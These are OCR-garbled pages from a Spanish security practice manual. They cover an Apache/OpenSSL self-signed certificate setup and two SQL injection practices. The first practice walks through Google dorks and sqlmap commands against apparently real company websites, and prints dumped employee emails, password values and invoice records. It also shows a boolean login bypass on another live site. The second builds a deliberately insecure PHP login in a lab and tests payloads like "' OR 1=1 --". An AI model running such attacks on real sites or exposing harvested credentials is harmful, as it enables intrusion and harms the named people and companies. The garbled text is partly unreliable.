Des:1 http:--ni.archive.ubuntu.com- ubuntuws lucid-updates~-main openssl 0.9.8k-7u
mtud . 14 [400kE1]
1.2 [1 openss]l 5451B-400kE 1:1_

llustracion 243: Instalando OpenSSL.
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Cuando realizamos esto podemos reiniciar el servidor apache y verificar su buen
funcionamiento, a través del siguiente comando reiniciamos dicho servidor: Service

apache2 restart.

rootEubuntu . vshome-rodolfolt service apacheZ restart

= Restarting web server apachez
pachez: Could not reliably determine the server’'s fully qualified domain name,

wsing 127 .0.1.1 for ServerName

waiting .apacheZ: Could not reliably determine the serwver’'s fully gualifie
domain name, using 127 .0.1.1 for 3ServerMame

[ OK 1
root@ubuntu : ~homesrodolfoit _

llustracion 244: Reiniciando el servidor Apache2.

A través del navegador realizamos la consulta al sitio, este caso solo es nuestro localhost:

http://localhost.

localhost

It works!

This is the default web page for this server.

The web server software is running but no content has been added, yet.
llustracion 245: Verificando el buen funcionamiento de servicio apache a través del localhost.

Generando una clave privada.

El kit de herramientas OpenSSL se utiliza para generar una clave RSA privada y CSR.
También se puede utilizar para generar certificados auto firmado que pueden ser
utilizados para propositos de prueba o el uso interno. El primer paso es crear su clave
privada RSA, esta clave es una clave de 1024 bits RSA que se cifra usando Triple-DES y

se almacenan en un formato de PEM de modo que sea legible como texto ASCII.

Ahora procedemos a configurar el SSL que es la forma segura y generamos la clave con

el siguiente comando: Openssl genrsa —ds3 —out server.key 1024.

ootFubuntuw i homesrodolfoif openssl genrsa —des3 —out server.key 1024
Generating RSA private key, 1024 bit long modulus

iz 65537 (0x10001)
nter pass phrase for server . key:
erifying — Enter pass phrase for serwver.key:
ootEFubuntu  home-rodolfoit _

llustracion 246: Generando la clave RSA de 1024 bits.
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En este procedimiento introduciremos la clave que utilizaremos, luego nos preguntara la

confirmacién de la clave.

Ahora procedemos a realizar el certificado con el siguiente comando: openssl req —new —

key server.key —out server.crs

Generando un CSR o firma de solicitud.

Una vez que la clave privada se genera, la firma de certificado se puede generar. La RSE
se enviara a una autoridad de certificacion, tales como Thawte o Verisign, quien verificara

la identidad del solicitante y expedira un certificado firmado.

Durante la generacién de la CSR, se le pedira varias piezas de informacion. Estos son los
atributos X.509 del certificado. Uno de los mensajes sera para "Nombre comun. Es
importante que este campo se rellena con el nombre de dominio completo del servidor al
estar protegida por SSL. Para generar este certificado se hace con el siguiente comando:

sudo openssl req —new —key -out server.key -out server.csr

ootEubuntu : ~homesrodolfolt openssl reqg —new —key server.key —out server.crs
nter pass phrase for server.key:

ou are about to be asked to enter information that will be incorporated
into your certificate request.

hat you are about to enter is what is called a Distinguished Mame or a DN.
here are guite a few fields but you can leave some blank

or some fields there will be a default value,

If you enter ".", the field will be left blank.

Ftate or Province Hame (full mame) [Some—Statel:chinandega

ocality Mame (eg, cityl) [1:chichigalpa

Organization Mame (eg, company [Internet Widgits Pty Ltd]l:=ser san antonio
Irganizational Unit Mame (eg, =ection) [1:ser =an antonio

ommon Mame (eqg, YOUR namel) [1:ser san antonio

mail Address [1:sersanantonio@gmail .com

Flease enter the following 'extra’ attributes
o be sent with your certificate reguest
challenge password [1:seguridad

n optional company mame [1:ser san antonio

oot@Eubuntu : ~home-~rodolf o

llustracién 247: Generando el certificado.

En este procedimiento serd consultada una serie de preguntas las cuales deberan de ser

contestadas por ejemplo:

Nombre del pais (codigo de 2 letras) [GB]: ni

Nombre del estado o provincia (nombre completo): Chinandega.
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Nombre de la localidad (por ejemplo, ciudades): Chichigalpa.

Nombre de la organizacién (por ejemplo, la empresa) [My Company Ltd]: Ser San
Antonio

Nombre de unidad organizativa (p.ej., seccion) []: Ser San Antonio

Nombre comun (por ejemplo, su nombre o el nombre de host de su servidor) []: Ser San
Antonio

Direccién de correo electrénico []:Ser San Antonio

Por favor ingrese los siguientes atributos "extra"

correo:; sersanantonio@gmail.com

Otra Contrasefia []; ***rx#kkrx

An optional company name []:Ser San Antonio.

Crear un certificado auto firmado.

En este punto usted tendra que generar un certificado auto-firmado, ya que no tengo
planes de tener su certificado firmado por una CA, o si desea probar la implementacion de
SSL nuevo, mientras que el CA es la firma de su certificado. Este certificado temporal, se
generara un error en el navegador del cliente en el sentido de que la autoridad de
certificado de firma es desconocida y no confiaba. Para generar un certificado temporal
que es bueno para los 365 dias, emita el siguiente comando: openssl x509 -req —days

365 —in server.crs —signkey server.key —out server.crt

En este procedimiento nos serd preguntada la clave que se ingresé inicialmente

ootfubuntu: shomesrodolfoft opens=sl x509 -req —-days 365 —in =erver.crs -signkey s
eruer .key —out server.crt

Bignature ok

ub ject=sC-nir ST=chinandega-L=chichigalpa-0=ger =zan antonio-0OU=zer =zan antonio-C

=zer =zan antonioremailfAddress=sersanantoniofgmail .com
Getting Private key

nter pass phrase for =zerver.key:
oot@ubuntu:shomerodolfolt _

llustracion 248: Creando el fichero auto firmado.
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Ahora lo que hay que realizar es copiar los archivos al directorio /etc/apache2/ssl y luego

activar el modulo con el comando a2enmod ssl.

Para copiar los archivos lo realizamos con el siguiente comando: cp server.key

letc/apache2/ssly

ootEubuntu : ~home-rodolfolf cp server.key ~etcrapached-ssl
ootBubuntu : vhome-rodolfolft cp =erver.crt ~etcrapacheZ-z=sl
ootBubuntu: vhomesrodolfot aZenmod ==l

nabling module ==s1.

Z—common-README .Debian.gz on how to configure S55L and
create self-zsigned certificates.
'seterinit.drapache restart’ to activate new configurationt?
rootEubuntu i home-rodolfolf aZenmod =sl
odule ==l already enabled
rootPubuntu t homesrodolf ot

llustracion 249: Copiando los archivos y activando el modulo SSL en apache2.

En este procedimiento realizamos la verificacién de la activacion del modulo es decir que
lo activamos en dos ocasiones para verificar que el modulo se encuentra listo y
funcionando junto con apache2 y nos muestra: Module ssl| already enabled. Ahora solo

resta reiniciar el servicio de apache2 con el comando: Service apache2 restart.

ootPFubuntu i home-rodolfoit aZenmod ==1
odule ==s1 already enabled
ootPubuntu l home-srodolfolf service apacheZ restart
= Restarting web =server apacheZ
hpache?: Could not reliably determine the server's fully gualified domain name,
w=ing 127.0.1.1 for ServerMame

waiting .apachezZ: Could not reliably determine the server’'s fully gualified
domain name, using 127Y.0.1.1 for ServerName
[ DK 1

ootFubuntu  ~home-srodolfof _

llustracion 250: Reiniciando el servicio de apache2.
Ahora se procede a la realizacion de un enlace simbdlico con el siguiente comando: In —s
letc/apache2/sites-available/default-ssl  /etc/apache?2/sites-enabled/default-ssl

root@Pubuntu : shomesrodolfot In —= setcrapacheZ-szites—availablesdefaunlt—-s=s1 retocra
pacheZ s ites—enabledsdefanlt—-s=s1
root@Pubuntu : ~homesrodolfolt service apacheZ restart
= Restarting web server apacheZ
pacheZ: Could not reliably determine the server's fully gualified domain name,
i=ing 127.0.1.1 for ServerMame

waiting apacheZ: Could not reliably determine the server's fully qualified
omain name, using 127.0.1.1 for ServerName

[ OK 1

rootEubuntu : shomesrodolfolt _

llustracion 251: Creando el enlace simbélico.
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Reiniciamos nuevamente el servicio con el comando: Service apache2 restart, vy
accedemos al navegador para visitar el localhost y verificar si esta funcionando el

certificado. Accedemos de la siguiente manera: https://localhost
£ Facebook » Missy Elliott ft. Ms. Jade & L... £\ Conexidn no confiable *®

[ ttps://localhost v @| [ Q| @

4

Esta conexiéon no esta verificada

27
A Ha pedido a Firefox que se conecte de forma segura a localhost, pero no se puede confirmar
que la conexion sea segura.

Normalmente, cuando se intente conectar de forma segura, los sitios presentan informacion b
verificada para asegurar que esta en el sitio correcto. Sin embargo, |a identidad de este sitio

no puede ser verificada.

éQué deberia hacer?

Si normalmente accede a este sitio sin problemas, este error puede estar ocurriendo porgue
alguien esta intentando suplantar al sitio, y no deberia continuar.

isécarnedEQUi!
Detalles técnicos

Entiendo los riesgos

llustracion 252: Accediendo al navegador con el url: https://localhst, lo importante para darse cuenta que estamos
bajo una conexién segura es el httpS

2 @ Anadir excepcion de seguridad

| ttps://localhost L_‘A

Esta a punto de alterar como identifica Firefox este sitio.

Los bancos, tiendas y otros sitios publicos legitimos
no le pediran hacer esto. “ v
ZQl Servidor
. Direccion: | https:/flocalhost/ | |thener certjflcadu|
Si ng do porque
algul gstado del certificado
= Este sitio intenta identificarse a si mismo con P—
I& informacién no valida.
Dei Sitio erréneo
Ent El certificado pertenece a un sitio diferente, lo que podria indicar
n una suplantacion de identidad.
si s4 Identidad desconocida de este Y
sitio| e alguien
esté No se confia en el certificado, porque no ha sido verificado por una
autoridad reconocida.
Mo & ke sitio no
use
| Af
Confirmar ex ion de uridad Cancelar

llustracion 253: Obteniendo el certificado y confirmando la excepcién de seguridad.

Al confirmar la excepcién ya se podré observar el sitio que en este caso es el localhost.
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ATAQUEL
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11.15PRACTICA: INYECCIONES SQL.

INTRODUCCION.

Inyeccion SQL es un método de infiltraciobn de cddigo intruso que se vale de una
vulnerabilidad informética presente en una aplicacion en el nivel de validacion de las
entradas para realizar consultas a una base de datos. El origen de la vulnerabilidad radica
en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que

contiene, o bien genera, codigo SQL.

El SQL Injection es un tipo de ataque a una base de datos en el cual, por la mala filtracion
de las variables se puede inyectar un codigo creado por el atacante al propio codigo
fuente de la base de datos, consiste en la modificacion del comportamiento de nuestras
consultas mediante la introduccion de parametros no deseados en los campos a los que

tiene acceso el usuario.

La mayoria de aplicaciones webs consisten en un conjunto de operaciones con la base de
datos, por ejemplo, en un foro para crear nuevos comentarios se insertan registros en la
base de datos y para listar las entradas se seleccionan registros en la base de datos.

Estas operaciones reciben el nombre de CRUD (Create, Retrieve, Update y Delete).

Objetivos

Acceder a portales web vulnerable.

Acceder a los registros de la base de dato.

Manipular la herramienta SQLMAP en Backtrack 5.
Tratar de administrar la pagina web a nuestra manera.

Comprender un poco la légica booleana.

Requerimientos para larealizacion de la préactica.

Contar con ciertos conocimientos de administracion de bases de datos.

Tener instalado alguna version de Backtrack para la realizacion del ataque.
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Tener de conocimiento de ciertas paginas vulnerable a este ataque.

Lo primero que tenemos que hacer es ver si la pagina es vulnerable para eso podemos

usar alguna Google Dork por ejemplo:

Inurl:php?id=
inurl:php?sid=
inurl:asp?id=
inurl:newsdetail.php?id=
inurl:index.php?id=
“.php=7id=#"

“ asp="id=#"

Tenemos que saber si es vulnerable o no, para eso pondremos un apostrofe “ * “ al final
del link de la pagina que queremos vulnerar. Si nos dispara un error, quiere decir que es
vulnerable, si no quiere decir que los administradores tienen al dia su sitio, sin embargo

no quiere decir que no sea vulnerable, solo que requiere un grado de especializacion

= Espariol ¥ nglés

J ek
QUIENES SOMOS ¢QUE OFRECEMOS? SERVICIOS ADICIONALES NUESTROS ALIADOS CV-OUTLET CONTACTH
Login
Usuario:

NUESTROS SERVICIOS Contrasefia:
- 5=l Entrar

Monedas
TRM DOLAR ¥ 1.828
Euroc -~ 2384

Servicio especializado en el transporte aereo de correo y carga nacional e internacional por itinerario y por la modalidad de vuelos Dol =

Charter, servicio de cabotaje, transporte de animales. valores y de mercancias peligrosas para las principales agencias de carga Recionas

y aerolineas del mundo iz S AGeE

llustracion 254: Visitando el sitio web vulnerable.

Mi target es: http://www.cvcargo.net/home.php?id=2

http://www.cvcargo.net/home.php?id=2’
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IIF C N IF DFRFCEMNOS? CERVICINS ADICID
1ENED OUMUS JUE UFRELEMUD /

Error en la tabla - “site_web’ - 1064 : You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near "2" at line 1

llustracion 255: Observando el error.

Al agregar el apostrofe y actualizar el link notamos el siguiente error:

Una vez que consegui mi pagina vulnerable hago uso de la herramienta SqlMap que nos
permite realizar la inyeccion SQL automatizada:

Abrimos la ventana de comandos del sgimap.

02:15 pm

llustracion 256: Buscando las herramientas de ataque con Backtrack 5

Colocamos la siguiente linea de comando para extraer el nombre de la base de datos de
la web vulnerable:

sqimap : bash

Bookmarks

llustracion 257: Escribiendo la siguiente linea de comando.

Jsqglmap.py —u http://www.cvcargo.net/home.php?id=2 —dbs

Como podemos ver la base de dato de la pagina vulnerable es cvlogist_ Admincont

donde vamos a realizar consulta para ver sus tablas.
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En el comando anterior u para la url y - -dbs para extraer el nombre de la base de dato

del sitio.
(= sglmap

File Edit 30 <s Settings Help

(NULL) - 1 to 10 columns
NULL, NULL, NULL, NULL, NULL
5,74,122) AS CHAR), CHAR(

[14:26:09] [INFO] the back-end DBMS is MySQL

eb application technology: Apache 2.0.64, PHP 5.2.9
back-end DBMS: MySQL 5.0

[14:26:09] [INFO] fetching database names

available databases [2]:

[*] cvlogist_Admincont

[*] information schema)

[INFO] Fetched data logged to text files under '/pentest/web/scanners/sqlmap/output/www.cvcar

[*] shutting down at: 14:26:10

root@root:

sglmap : bash

llustracion 258: Extrayendo el nombre de la base de datos

Luego de haber ejecutado el comando anterior ya obtendremos la base de dato y Lo que
tenemos que hacer es buscar los datos de la administracion de la web extrayendo la tabla
del cajon que escojamos cada web trae como minimo 2 cajones una sera

information_schema y el otra la base de dato.
Colocamos la siguiente linea de comandos.

Jsqglmap.py —u http://www.cvcargo.net/home.php?id=2 —D cvlogist_Admincont- - tables

net

[*] shutting down at: 14:26:10

: //www.cvcargo.net/home.php?id=2 -D cvlogist

Aﬂhlncont --tables

llustracion 259: Escribiendo la linea de comando para atacar el sitio web.

Donde -D es para el nombre de la base de datos y - - tables para extraer las tablas de

dicha base.
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web application technology: Apache 2.0.64, PHP 5.2.9

back-end DBMS: MySQL 5.0

[14:33:57] [INFO] fetching tables for database 'cvlogist_Admincont'
Database: cvlogist_Admincont

[8 tables]

+

| [
| Users |
| Usuario |
| adent_conf |
| distributors |
| file_document |
| file_images |
| site_web |
+

[14:33:58] [INFO] Fetched data logged to text files under '/pentest/web/scanners/sqlmap/output/www.cvcar
go.net’

[*] shutting down at: 14:33:58

llustracion 260: Extraer los nombre de las tablas.

Ahora vamos a extraer los datos de las columnas de las tablas claro seria la que mas nos
interesa en nuestro caso vamos a usar la tabla “Usuario”. Ahora procedemos sacar las

columnas de una de las tablas con el siguiente comando:

nt -T Usuario --columns

llustracion 261: Linea de comando para extraer los datos de la columna de las tablas.

Jsglmap.py —u http://www.cvcargo.net/home.php?id=2 -D cvlogist_ Admincont =T

Usuario - - columns.

= sqlmap : python =

File View Bookmarks
Database: cvlogist_ Admincont
[Table: Usuario

[S9 entries]

Edit Settings Help

juan.galvez@cvcargo.net
luz.rodriguez@cvcargo.net
diego.toquica@cvcargo.com.co
sofia.caro@cvcargo.net
financiero@cvcargo.com.co
operacioninternacional@cvcargo.com.co
wilson.corredor@cvcargo.com.co
mauricio.mejia@cvcargo.com.co
jesus.alarcon@cvcargo.com.co
jose.gutierrez@cvcargo.net

dangel

joan I
saul.sanchez@cvcargo.net
oscar.ormaza@cvcargo.com.co
eduardo. torres@cvcargo.com.co
carlos.ochoa@cvcargo.net
rafael.morales@cvcargo.net
luz.veloza@cvcargo.net
operacionescali@cvcargo.net
jose.herrada@cvcargo.net
compras@cvcargo.net
marta.guerrero@cvcargo.net
operacionbarranquilla@cvcargo.net
operacionrionegro@cvcargo.net
miguel.galvis@cvcargo.com.co
operacioncartagena@cvcargo.net
german.amezquita@cvcargo.net

llustracién 262: Observando la lista de os usuarios.
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Ya podemos ver las columnas de la tabla lo que nos queda es ver los registros de las
propiedades mas importante como user y password. Donde —T es para el hombre de la

tablay - - columns para extraer las columnas de dicha tabla.

El siguiente paso es realizar un dump a los campos necesarios que nos permitan ver el
login de la web para poder administrarla nosotros probaremos con los campos Usuario y

contrasefa.

Ahora procedemos a sacar los datos del campo que elegimos Ejecutamos el comando

J/sqlmap.py —u http://www.cvcargo.net/home.php?id=2 -D cvlogist_Admincont -T

Usuario —C usuario - - dump

root@root: # clear

nt -T Usuario -C usuario --dump

[14:43:08] [INFO] the back-end DBMS is MySQL

web application technology: Apache 2.0.64, PHP 5.2.9

back-end DBMS: MySQL 5.0

[14:43:08] [INFO] fetching columns for table 'Usuario' on database 'cvlogist_Admincont'
Database: cvlogist_Admincont

Table: Usuario

[8 columns]

He-mmmmmmmeem o +
| Column | Type |
H--mmmmmmmme R +
| Aso | smallint(6) |
| contrasena | varchar(255) |
| correo | varchar(255)

| Exa | smallint(s) |
| grupo | int(11) |
| id_usuario | int(11) |
| Junta | smallint(6) |
| usuario | varchar(255) |
e mmmmmmm e +

[14:43:09] [INFO] Fetched data logged to text files under '/pentest/web/scanners/sqlmap/output/www.cvcargo.net'

[*] shutting down at: 14:43:09

llustracion 263: Extrayendo los campos de la tabla usuario.

Vamos a extraer los datos del campo contrasefia

Jsqglmap.py —u http://www.cvcargo.net/home.php?id=2 -D cvlogist_Admincont —T

Usuario —C contraseifia - - dump
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¢ clear
ros : # . /sqlmap.py -u http://www.cvcargo.net/home.php?id=2 -D cvlogist_Adminco)
nt -T Usuario -C contrasena --dump

sqlmap/0.9 - automatic SQL injection and database takeover tool
.sourceforge . nfzh

sglmap : python YR,
File Edit View Bookmarks Settings Help
Database: cvlogist Admincont

Table: Usuario
[60 entries]

| jose.arevalocvcargo2043 |
| luz.rodriguezcvcargo2048 |
| zaida.martinezcvcargo2066 |
| comprascvcargo203l |
| enrique.clavijocvcarqgo2035 |
| ruben.hernandezcvcargo2025 |
| cesar.ramirezcvacrgo2030 |
| leonardo.chavezcvcargo2047 |
| paola.gutierrezcvcargo2058 |
| marta.guerrerocvcargo2051 |
| dangel |
joan |
oscar.carrillocvcargo2056 |
fernando.perillacvcargo2038 |
carlos.ochoacvcargo2028 |
sofia.carocvcargo2065 |
mauricio.mejiacvcargo2019 |
facturacioncvcargo2037 |
diego.toquicacvcargo2013 |
puntoplazaespanacvcargo2060 |
german.amezquitacvcargo2041 |
luz.velozacvcargo2049 |
manuel.camelocvcargo2050 |
miguel.linarescvcargo202l |
jesus.alarconcvcargo2018 |
eduardo.torrescvcargo2014 |
saul.sanchezcvcargo2063 |

llustracion 264: Extrayendo los datos del campo contrasefia.

Lo Unico que nos falta es encontrar el panel de administracion del target, para esto
usaremos una herramienta en perl para manejarla desde consola si estas en BackTrack o
en otra distro de Gnu/Linux, si estas en Windows puedes descargar el Havij, ya que trae
una funcion para encontrar paneles de administracion de las web's, acé les dejo el link de
descarga de 'Panel Admin'; http://mantroxtools.tuars.com/ — Encontrar el Panel de
administrador de una web desde consola en Backtrack/ — panel.admin.pl — clic derecho,

guardar como, y lo guardan en root.

Otra manera de atacar.

Ot—a ManeI =
—r A drministrator I . ogims =

U sernose e or T—%—

&
@

llustracién 265: Otra manera de atacar.
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Pues ademas de hacer uso del Backtrack, también podemos emplear l6gica booleana, la
cual nos permitira engafar a los pértales web que han sido disefiados sin seguir todos los
parametros de seguridad necesarios, recordemos que nada es 100% seguro, y muchos

programadores aun cometen el siguiente error:

‘SELECT * FROM TRABAJADOR WHERE [clave personal]="" & pass & “AND
TRABAJADOR="" & usuario & “*”

Seguramente si alguna vez has programado enviando datos por pardmetros, te dirds,
Jqué le pasa? Ahi no hay errores, y en parte tienes razén pues no hay errores, sin
embargo no estas tomando todas las medidas de seguridad necesarias, mira qué sucede

si a la linea de cddigo antes expresada le afiado lo siguiente:

or‘a’='a
Ahora observa cémo viene a quedar la sentencia

‘SELECT * FROM TRABAJADOR WHERE [clave personal] =" or ‘a’=‘a "AND

TRABAJADOR="or ‘a’='a’”
X

SELECT * FROM TRABAJADOR WHERE [clave personal)=Toqueseteocurra’ OR ‘a'w'a’ AND TRABAJADOR='Chaparro Pacheco, Christian'

[ Aceptar |

| Ay s

llustracion 266: Ejecutando la sentencia con el uso de OR.

Para este caso, tU mi querido amigo(a) quién luego de juzgarme, te has dado cuenta que
no mentia, cometias el error de no filtrar la entrada. Si tan sélo hubieras aplicado un filtro
para no permitir caracteres extrafios, el error nunca sucederia, por tanto te recomiendo
gue siempre uses filtros y por cierto comunicale eso a cualquier conocido que se maneje

en el apasionante mundo informatico.

Para que puedan poner en practica la inyeccion SQL con légica booleana, les

mencionaremos unas cuantas paginas vulnerables
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2.1. RECOMENDACIONES

Lo méas sensato que debemos tener en cuenta al prevenir estos ataques es filtrar el
caracter ‘(comilla simple) por “(comilla doble), e incluso evitando que los usuarios puedan
pasar caracteres como \ / “ ‘ o cualquier otro que se nos ocurra que puede causar
problemas si hablamos a nivel de web, hacerlo siempre en cliente y servidor, si hablamos

en un entorno de red local, filtrar la entrada del campo en el programa.

A nivel de web, si sélo se filtra en el cliente, es facil saltarse la validacién y provocar un
fallo del estilo de los que hemos visto, para extraer informacion, de ahi la necesidad de
hacerlo en el cliente.

Otro factor importante en cuanto a la seguridad es limitar al maximo los permisos del

usuario que ejecuta estas sentencias para evitar posibles problemas.

Por ejemplo utilizando un usuario distinto para las sentencias SELECT, DELETE,
UPDATE y asegurandonos que cada ejecucién de una sentencia ejecute una sentencia

del tipo permitido.

Por supuesto utilizar el usuario que pertenezca al rol ‘db_owner para ejecutar las

sentencias de uso habitual de la base de datos deberia quedar descartado.

Una solucién definitiva seria trabajar con procedimientos almacenados. El modo en el que
se pasan los parametros a los procedimientos almacenados evita que la inyeccién SQL

pueda ser usada. Por ejemplo utilizando el siguiente procedimiento almacenado:

CREATE Procedure Validar @usuario varchar (50), @passwordvarchar (50)

AS

If (SELECT Count (*) FROMUsuarios WHEREUsuario=@Usuario and
Password=@password)>0

Return 1

Return O
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También deberiamos validar los datos que introduce el usuario teniendo en cuenta por
ejemplo la longitud de los campos y el tipo de datos aceptados. Por ultimo, podemos

programar en ASP.NET y utilizar siempre que sean posibles las clases

System.Web.Security.FormsAuthentication para que los usuarios entren en nuestras

aplicaciones Web.

Como ejemplo vamos a atacar a esta pagina web
http://www.grupoprocleaner.com

Entramos al panel de administracion de la pagina
http://www.grupoprocleaner.com/login/Login.asp

Escribimos la l6gica booleana
>,

Ver Historial Marcadores Herramientas Ayuda

edia, la enciclo... @ JUE SQL INJECTION | "los indest... » 'Login 3 CIO System

Grupo Procleaner
Servicios Avanzados de Limpieza
Martes, 9 de Abril de 113

Nuestros Clientes = Nuestra Gente

* Esta ingresando a un area restringida, por favor ingrese sus datos

T (o |

Password

llustracién 267: Visitando Sitio web vulnerable

AQUE SQL INJECTION | "les ~ Solicitudes electronicas

[0

Martes, & de Abril de 113

Nuestros Servicios entajas Competitivas Muestros Clientes Nuestra Gente Intranet

Filtrar facturas por mes May_07 - Registrar Factura

Seguimiento a facturas registradas

oo ] concepro | quienractura | catarua | mea |
114 6i25/2007 10 $13350.00 Elektra Servicio de Limpieza Wicente Russildi SA de CV Cobrada May_07
129 6i25/2007 1472 $8679.66 SOoCAa Servicio de Limpieza Servicios Avanzados de Limpieza SA de CW Cobrada May_07
128 6i25/2007 1447 $10557.06 SOoCAa Servicio de Limpieza Servicios Avanzados de Limpieza SA de CW Cobrada May_07
112 6i25/2007 16 $23200.00 Elektra Servicio de Limpieza Wicente Russildi SA de CV Cobrada May_07
126 6i25/2007 1521 $9554.00 DIMISA Servicio de Limpieza Wicente Russildi SA de CV Cobrada May_07
124 6i25/2007 1519 $93454 .80 DIMISA Servicio de Limpieza Wicente Russildi SA de CV Cobrada May_07
123 6i25/2007 1518 $6208.94 DIMISA Servicio de Limpieza Wicente Russildi SA de CV Cobrada May_07
122 8/25/2007 1820 £15550.62 DIMISA Servicio de Limpieza WVicente Russildi SA de CV Cobrada May_07
121 8/25/2007 1507 $5957.85 DIMISA Servicio de Limpieza WVicente Russildi SA de CV Cobrada May_07
120 8/25/2007 1508 £85279.87 DIMISA Servicio de Limpieza WVicente Russildi SA de CV Cobrada May_07
119 8/25/2007 1509 £19674.80 DIMISA Servicio de Limpieza WVicente Russildi SA de CV Cobrada May_07
118 8/25/2007 1510 $9363.24 DIMISA Servicio de Limpieza WVicente Russildi SA de CV Cobrada May_07

llustracion 268: Observando los datos alojados en la base de datos
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11.16 PRACTICA: INYECCIONES SQL #2.

Introduccion.

Esta practica tiene como objetivo explicar y mostrar cémo funcionan algunos tipos basicos
de inyecciones SQL, las cuales no son mas que inyectar codigo SQL invasor en el codigo
SQL programado. Para llevar a cabo esta practica es necesario programar una pequefia
aplicacion web con html y php la cual consiste en un pequefio sistema de logueo (solicitud
de usuario y contrasefia) el cual esta programado de manera basica, sin tener en cuenta

seguridad en su codigo.
Objetivos:

= Explicar cémo introducir cédigo invasor dentro de c4digo SQL programado en una
aplicacion.

= Probar algunas inyecciones SQL sencillas en la aplicacién programada para la
practica.

= Resaltar debilidades que deben de tenerse en cuenta a la hora de programar para
defenderse de inyecciones SQL.

Requerimientos para la realizacion de la préctica:

= VirtualBox.
= Maquina virtual con Ubuntu Server con Apache, PHP y MySQL.

Todo esto esta siendo ejecutado sobre un ordenador con Ubuntu Desktop 12.10.
Preparando el escenario para simular el ataque.
Para crear el escenario para esta practica necesitaremos:

= Correr Ubuntu en nuestro ordenador (al probar el ataque fue corrido Ubuntu
12.10).

= 1 maquina virtual con Ubuntu Server 10.04 (con apache, MySQL, php5 instalados
y configurados debidamente para ser usados).

= 1 red Solo Anfitrion de Virtual Box.
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Configuracién de redes Solo Anfitrién:

Propiedad VboxnetO
Direccion IPv4 192.168.100.254
Mascara de Red IPv4 255.255.255.0
Servidor DHCP Activado

Configuracién de Servidor DHCP:

Propiedad Valor

Direccion del Servidor 192.168.56.100

Mascara del Servidor 255.255.255.0

Limite de direcciones 192.168.56.101 -
192.168.56.254

Asociacion de Adaptadores de red de las maquinas virtuales a las redes solo anfitrion.

SERVER
Adaptador 1 Conectado a: Adaptador Solo Anfitrion vboxnetO.

Programando la aplicacion PHP.

Para poder llevar a cabo esta practica es necesario tener una aplicacién web con acceso
a bases de datos, en este caso se disefia un escenario el cual consta de una aplicacion
programada en php accediendo a una base de datos MySq|l. La aplicacién se trata de un

sencillo sistema de acceso el cual solicita un usuario y una contrasefia.

La aplicacion constara de 5 pequefios archivos: form.php, verificar.php, destruir.php,

restringida.php. El cddigo de los archivos necesarios se muestra a continuacion:
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/lconexion.php
<?php

Shost= "localhost";
Suser= "root";

Spw= "1234";
$db= "reg users";
>

llustracion 269: Archivo Conexion.php

/ldestruir.php

<?php

session start();

session destroy();

echo "has cerrado sesion";
2>

llustracion 270: Archivo destruir.php

/lform.php

<!DOCTYPE html>
<head><title>Pruebal23</title></head>

<body>

<form action="verificar.php" method="post">
<input type="text" name="user"/><br /><br />
<input type="password" name="pw"/><br /><br />
<input type="submit" value="Ingresar"/>
</form>

</body>

</html>

llustracion 271: Archivo Form.php

/lrestringida.php

<?php
session_start();
if (isset (S _SESSION['username'])) {

echo '"puedes ver esta pagina";

echo "<br><a href=destruir.php>Cerrar sesion</a>";
lelse{
echo '"no puedes ver esta pagina, res=gistrate";

}
?>

llustracion 272: Archivo Restringida.php
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IIverificar.php

<?php
session_start () ;
include ("conexion.php") ;

Scon=mysql connect (Shost, Suser, Spw)or die("problemas con server'");
mysgl_ select_db ($db, Scon)or die("problemas con BD");

$sel=mysqgl_query ("SELECT * FROM registro WHERE USER='$_POST[user]'
AND PW:'$_POST[pw]'”) or die (mysql_error());
if (mysql_ fetch array (Ssel))
{
$ SESSION['username']=$ POST['user'];
echo "sesion exitosa";
}else
{

echo "combinacion erronea";

}

?>

llustracion 273: Archivo verificar.php

Una vez listos los archivos necesarios para la aplicacion debemos de subirlos a nuestro
servidor (en este caso nuestra maquina virtual con Ubuntu server con los servicios
necesarios instalados). Ya con la aplicacion web en el servidor podemos proceder a
ejecutarla.

Debemos tener en cuenta también que para que nuestra aplicacién funcione debemos de
tener en nuestro servidor mysql la base de datos a la cual accede. A continuacién se
muestra el script de la base de datos:
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—-— Base de datos: ‘reg users’

-— Estructura de tabla para la tabla "registro’

CREATE TABLE IF NOT EXISTS "registro” (
“id® int(11) NOT NULL AUTO_ INCREMENT,
"nombre” warchar ( ) COLLATE utf8 spanish ci NOT NULL,
‘user ' varchar(50) COLLATE utf8 spanish ci NOT NULL,
"pw’ wvarchar ( ) COLLATE utf8 spanish ci NOT NULL,
PRIMARY KEY ( id’)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_Spanish_Ci
AUTO_ INCREMENT= ;

—-— Volcar la base de datos para la tabla "registro’

INSERT INTO "registro”™ ( id’, "nombre’', ‘user’ , “pw ) VALUES

(1, 'Marvin Velasquez', 'marvin', '12345');

llustracién 274: Estructura base de datos.

Ejecutando las inyecciones SQL.

La aplicacion programada para este ejemplo no tiene ninguna seguridad, por lo que es
netamente propensa a ataque de tipo Inyecciones SQL. Es posible atacar nuestra
aplicacion porgue en ninglin momento se comprueba que la entrada proporcionada por el
usuario se ajusta a los valores esperados por la aplicacion. Este proceso de saneamiento

de cbdigo es importante de considerar justamente para evitar entradas ilegales.

Basicamente este ejemplo de inyecciones SQL se basa en loguearse dentro de una
pagina sin necesidad de conocer la contrasefia de un usuario o incluso sin saber algun

nombre de usuario ni una contrasefia.

Como primer caso de inyeccién supondremos que conocemos el nombre de algun usuario
(por ejemplo: Marvin), un atacante podria validarse como ese usuario existente

empleando para ello una inyeccion similar a ésta:

marvin® --

Ingresar

llustracion 275: Formulario
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La sentencia SQL generada ante tal entrada de datos seria la siguiente:

SELECT * FROM registro WHERE USER='marvin'-- AND PwW="''

Ya que en el lenguaje SQL “-- ” es usado para comentar lo que se escriba a continuacién
la contrasefia serd interpretada por el motor de bases de datos como si fuera un simple
comentario. Por ello, finalmente es posible autenticarse como el usuario marvin sin

conocer su contrasefia.

Una inyeccion de cédigo SQL muy famosa se muestra a continuaciéon. Con ella, un
atacante podria validarse como el primer usuario de la tabla registro:
"OR 1=1 --

Ingresar

llustracion 276: Formulario.

La sentencia SQL generada seria:

SELECT * FROM registro WHERE USER=''OR |= AND PW=''

La clausula WHERE se asegura de que la sentencia solo recoja informacion cuando la
condicion se evalle como verdadera. La condicion 1=1 va a hacer que la consulta
siempre devuelva resultados (un comportamiento por defecto del motor de bases de datos
